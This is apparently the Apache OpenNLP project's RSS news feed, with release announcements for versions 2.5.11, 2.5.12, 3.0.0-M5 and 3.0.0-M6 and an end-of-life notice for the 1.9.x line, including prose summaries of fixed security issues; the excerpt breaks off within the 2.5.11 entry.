<?xml version="1.0"?>
<!--
   Licensed to the Apache Software Foundation (ASF) under one
   or more contributor license agreements.  See the NOTICE file
   distributed with this work for additional information
   regarding copyright ownership.  The ASF licenses this file
   to you under the Apache License, Version 2.0 (the
   "License"); you may not use this file except in compliance
   with the License.  You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing,
   software distributed under the License is distributed on an
   "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
   KIND, either express or implied.  See the License for the
   specific language governing permissions and limitations
   under the License. 
-->
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Apache OpenNLP</title>
    <link>https://opennlp.apache.org</link>
    <atom:link href="https://opennlp.apache.org/feed.xml" rel="self" type="application/rss+xml" />
    <description>The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text</description>
    <language>en-us</language>
    <pubDate>Fri, 25 Sep 2026 10:02:03 +0000</pubDate>
    <lastBuildDate>Fri, 25 Sep 2026 10:02:03 +0000</lastBuildDate>

    <item>
      <title>Apache OpenNLP 2.5.12 released</title>
      <link>https://opennlp.apache.org/news/release-2512.html</link>
      <pubDate>Fri, 11 Sep 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-2512.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.12.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.12 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_12&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.12&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This is a &lt;strong&gt;maintenance release&lt;/strong&gt; on the 2.x line. It contains a security fix, bug fixes, performance improvements, and dependency updates.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;security_fixes&quot;&gt;Security Fixes&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;One security issue is addressed in this release.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;redos_stack_exhaustion_in_regexnamefinderfactory_built_in_email_and_url_patterns_opennlp_1922_cve_2026_82617&quot;&gt;ReDoS / stack exhaustion in RegexNameFinderFactory built-in EMAIL and URL patterns (OPENNLP-1922, CVE-2026-82617)&lt;/h4&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The built-in EMAIL and URL patterns of RegexNameFinderFactory (DEFAULT_REGEX_NAME_FINDER) contained ambiguous nested quantifiers.
Applications applying these finders to untrusted text could be driven into super-linear backtracking (EMAIL) or unbounded matcher recursion
ending in a StackOverflowError (URL) by a small crafted input, denying service to the embedding application.
Users of the built-in finders are recommended to upgrade.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;improvements&quot;&gt;Improvements&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Cached models are now verified against their SHA-512 checksum (OPENNLP-1902)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;BeamSearch now uses chain nodes instead of per-candidate Sequence copies (OPENNLP-1903)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The sentence detector abbreviation veto is no longer quadratic in document length (OPENNLP-1906)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The source distribution now includes the Maven Wrapper config (OPENNLP-1896, OPENNLP-1913)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;bug_fixes&quot;&gt;Bug fixes&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Default-locale case folding no longer corrupts lemmatizer models and output (OPENNLP-1904)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Default-locale case folding no longer breaks Morfologik dictionary lookup (OPENNLP-1905)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed broken line encoding for mwnd.cmd (OPENNLP-1915)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update ONNX runtime to 1.28.0 (OPENNLP-1908)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update classgraph to 4.8.194 (OPENNLP-1907)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Maven Wrapper to 3.3.4 (OPENNLP-1914)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update logcaptor to 2.12.7 (OPENNLP-1923)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12357274&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 3.0.0-M6 released</title>
      <link>https://opennlp.apache.org/news/release-300-M6.html</link>
      <pubDate>Fri, 11 Sep 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-300-M6.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 3.0.0-M6.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 3.0.0-M6 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_3_0_0_m6&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 3.0.0-M6&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This milestone release delivers 25 resolved issues. It extends the text analysis stack introduced in 3.0.0-M5 with &lt;strong&gt;new NLP capabilities&lt;/strong&gt;,
and includes &lt;strong&gt;security fixes&lt;/strong&gt;, &lt;strong&gt;bug fixes&lt;/strong&gt;, and &lt;strong&gt;dependency maintenance&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;security_fixes&quot;&gt;Security Fixes&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Two security issues are addressed in this release.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;redos_stack_exhaustion_in_regexnamefinderfactory_built_in_email_and_url_patterns_opennlp_1922_cve_2026_82617&quot;&gt;ReDoS / stack exhaustion in RegexNameFinderFactory built-in EMAIL and URL patterns (OPENNLP-1922, CVE-2026-82617)&lt;/h4&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The built-in EMAIL and URL patterns of RegexNameFinderFactory (DEFAULT_REGEX_NAME_FINDER) contained ambiguous nested quantifiers.
Applications applying these finders to untrusted text could be driven into super-linear backtracking (EMAIL) or unbounded matcher recursion
ending in a StackOverflowError (URL) by a small crafted input, denying service to the embedding application.
Users of the built-in finders are recommended to upgrade.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;cwe_789_oom_dos_via_unbounded_array_allocation_in_symspellmodelserializer_opennlp_1899_cve_2026_67211&quot;&gt;CWE-789 OOM DoS via Unbounded Array Allocation in SymSpellModelSerializer (OPENNLP-1899, CVE-2026-67211)&lt;/h4&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;SymSpellModelSerializer read the unigram and bigram count fields of a binary SymSpell model and used them to pre-size maps,
checking only that they were non-negative. A tiny crafted model file could therefore trigger a multi-gigabyte allocation and an OutOfMemoryError
in any process loading SymSpell models from untrusted sources. Affected are 3.0.0-M4 and 3.0.0-M5, which ship the opennlp-spellcheck extension.
Both counts are now bounded by AbstractModelReader.MAX_ENTRIES (default 10,000,000), which can be raised via the OPENNLP_MAX_ENTRIES system property
if larger dictionaries are needed. Until upgrading, users should only load SymSpell models from trusted sources.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;new_features_and_improvements&quot;&gt;New Features and Improvements&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A new pure-Java SentencePiece inference implementation produces exact original-text spans (OPENNLP-1885).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A new document annotation container provides typed, offset-anchored layers (OPENNLP-1888), with a document-scoped term vector layer on top of it (OPENNLP-1897).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dictionary-based tokenization is now available for Japanese, Korean, and Chinese (OPENNLP-1894).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Stemming now supports Hunspell affix dictionaries (OPENNLP-1893).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A new Paragraph Normalizer handles Gutenberg-style and Markdown text (OPENNLP-1921). The Normalizer documentation has been improved, and misconfigured chains now fail loudly (OPENNLP-1916).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A general verified installer handles user-supplied third-party resources (OPENNLP-1909), and cached models are now verified against their SHA-512 checksum (OPENNLP-1902).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Performance: BeamSearch now uses chain nodes instead of per-candidate Sequence copies (OPENNLP-1903), and the sentence detector abbreviation veto is no longer quadratic in document length (OPENNLP-1906).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The OpenNLP security model is now documented and published (OPENNLP-1900).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The source distribution now includes the Maven Wrapper config (OPENNLP-1896, OPENNLP-1913).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;bug_fixes&quot;&gt;Bug fixes&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Default-locale case folding no longer corrupts lemmatizer models and output (OPENNLP-1904)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Default-locale case folding no longer breaks Morfologik dictionary lookup (OPENNLP-1905)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed broken line encoding for mwnd.cmd (OPENNLP-1915)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update ONNX runtime to 1.28.0 (OPENNLP-1908)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update classgraph to 4.8.194 (OPENNLP-1907)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Maven Wrapper to 3.3.4 (OPENNLP-1914)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update SLF4J to 2.0.19 (OPENNLP-1936)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update logcaptor to 2.12.7 (OPENNLP-1923)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12357275&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.9.x has reached End of Life</title>
      <link>https://opennlp.apache.org/news/news-2026-08-10.html</link>
      <pubDate>Mon, 10 Aug 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2026-08-10.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team announces that the 1.9.x release line, and with it the whole 1.x series, has reached
end of life. &lt;a href=&quot;/news/release-195.html&quot;&gt;Apache OpenNLP 1.9.5&lt;/a&gt;, released in June 2026, is the final
release of that line.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;what_this_means&quot;&gt;What this means&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;There will be no further 1.9.x releases.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;No bug fixes, dependency updates or security fixes will be made for 1.9.x or any earlier version.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Issues can only be addressed on a supported release.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The supported release lines are the 2.x and 3.x series. The current releases of both are on our
&lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;. See our &lt;a href=&quot;/security.html&quot;&gt;security page&lt;/a&gt; for the version support policy.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Existing 1.x artifacts remain available from &lt;a href=&quot;https://repo1.maven.org/maven2/org/apache/opennlp/&quot;&gt;Maven Central&lt;/a&gt;
and the &lt;a href=&quot;https://archive.apache.org/dist/opennlp/&quot;&gt;Apache archive&lt;/a&gt;, but they are unmaintained and are not
recommended for new or existing deployments.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;upgrading_to_a_supported_release&quot;&gt;Upgrading to a supported release&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;We encourage all users still on 1.x to upgrade. A few things to be aware of:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP 1.9.x builds on Java 8. OpenNLP 2.5.x requires Java 17 or later, and OpenNLP 3.x
requires Java 21 or later.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;org.apache.opennlp:opennlp-tools&lt;/code&gt; coordinates are unchanged in the 2.x line, so the dependency
itself does not need to be replaced. In 3.x the project has been modularized and &lt;code&gt;opennlp-runtime&lt;/code&gt;
becomes the entry-point dependency. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven&lt;/a&gt;
and &lt;a href=&quot;/gradle-dependency.html&quot;&gt;Gradle&lt;/a&gt; pages for the current coordinates.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Models trained with OpenNLP 1.x still load in 2.x and 3.x. New pre-trained models for a
growing number of languages are available on our &lt;a href=&quot;/models.html&quot;&gt;models page&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The current developer manual and Javadoc are on the &lt;a href=&quot;/docs/index.html&quot;&gt;documentation page&lt;/a&gt;.
The archived 1.x documentation remains available &lt;a href=&quot;/docs/legacy.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;If you run into problems while upgrading, please reach out on the
&lt;a href=&quot;/mailing-lists.html&quot;&gt;users mailing list&lt;/a&gt;. We are happy to help.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 3.0.0-M5 released</title>
      <link>https://opennlp.apache.org/news/release-300-M5.html</link>
      <pubDate>Fri, 24 Jul 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-300-M5.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 3.0.0-M5.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 3.0.0-M5 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_3_0_0_m5&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 3.0.0-M5&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This milestone release delivers 33 resolved issues, headlined by a major overhaul of Unicode handling and text normalization.
In addition, it brings &lt;strong&gt;security hardening&lt;/strong&gt;, &lt;strong&gt;new NLP capabilities&lt;/strong&gt;, and &lt;strong&gt;dependency maintenance&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;security_fixes&quot;&gt;Security Fixes&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;One security issue is addressed in this release.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;cwe_502_arbitrary_class_instantiation_via_xml_feature_generator_descriptor_and_format_name_in_apache_opennlp_opennlp_1890_cve_2026_63317&quot;&gt;CWE-502 Arbitrary Class Instantiation via XML Feature Generator Descriptor and Format Name in Apache OpenNLP (OPENNLP-1890, CVE-2026-63317)&lt;/h4&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP contained three code paths that instantiated arbitrary classes by name without validation,
letting attackers with control over model archives or format names trigger side effects from any classpath class&amp;#8217;s constructor or static initializer.
The fix enforces a package-prefix allowlist (defaulting to opennlp.*) before class loading; until upgrading,
users should only load models and format names from trusted sources.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;new_features_and_improvements&quot;&gt;New Features and Improvements&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The centerpiece of this release is a new Unicode-aware normalization and tokenization stack.
A new normalization engine (CharClass, Dimension, and confusables support) is paired with an offset/alignment layer (Alignment, AlignedText)
that correctly tracks character offsets through length-changing folds such as expansions and contractions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On top of this, OpenNLP now ships a UAX #29 compliant word tokenizer (WordSegmenter, WordTokenizer, WordType),
a layered Term model with TermAnalyzer, and a per-language NormalizationProfile registry.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Full Unicode case folding has been added to text normalization, whitespace handling is now aligned with the Unicode
White_Space property, and the deep-learning components support offset-safe input normalization.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A new emoji annotation layer is wired into the Sentiment, Name Finder, and Doccat components,
with offset-aware bidirectional emoji and emoticon expansion/contraction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Performance and robustness also received attention: legacy CharSequenceNormalizers replace regex matching with cursor scans,
Tag patterns are precompiled to avoid repeated compilation,
and normalization/tokenization hot paths saw non-breaking performance improvements.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Stemmers are now thread-safe, with a new StemmerFactory and per-thread stem caching, and previously unexecuted stemmer
tests have been brought back into the build.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Housekeeping updates include moving to Apache Parent 39, plus a fix to the binary distribution LICENSE to include
the BSD section for the bundled stopword lists.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Documentation improvements cover the Entity Linker framework, the BioNLP converter, and a new Dev Manual section
on Unicode normalization and the UAX #29 tokenizer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;bug_fixes&quot;&gt;Bug fixes&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;None&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update ONNX runtime to 1.27.0 (OPENNLP-1873)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update log4j2 to 2.26.1 (OPENNLP-1874)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update gRPC to 1.82.2 (OPENNLP-1857)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12357221&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.11 released</title>
      <link>https://opennlp.apache.org/news/release-2511.html</link>
      <pubDate>Fri, 24 Jul 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-2511.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.11.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.11 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_11&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.11&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This is a &lt;strong&gt;maintenance release&lt;/strong&gt; on the 2.x line. It refreshes several dependencies.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;improvements&quot;&gt;Improvements:&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Class instantiation in StreamFactory / StringInterners is now allowlist-based (OPENNLP-1890)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Deserialization in BaseModel has been hardened (OPENNLP-1891)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;DocBook DTDs are now resolved from a local catalog instead of a remote URL (OPENNLP-1854)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
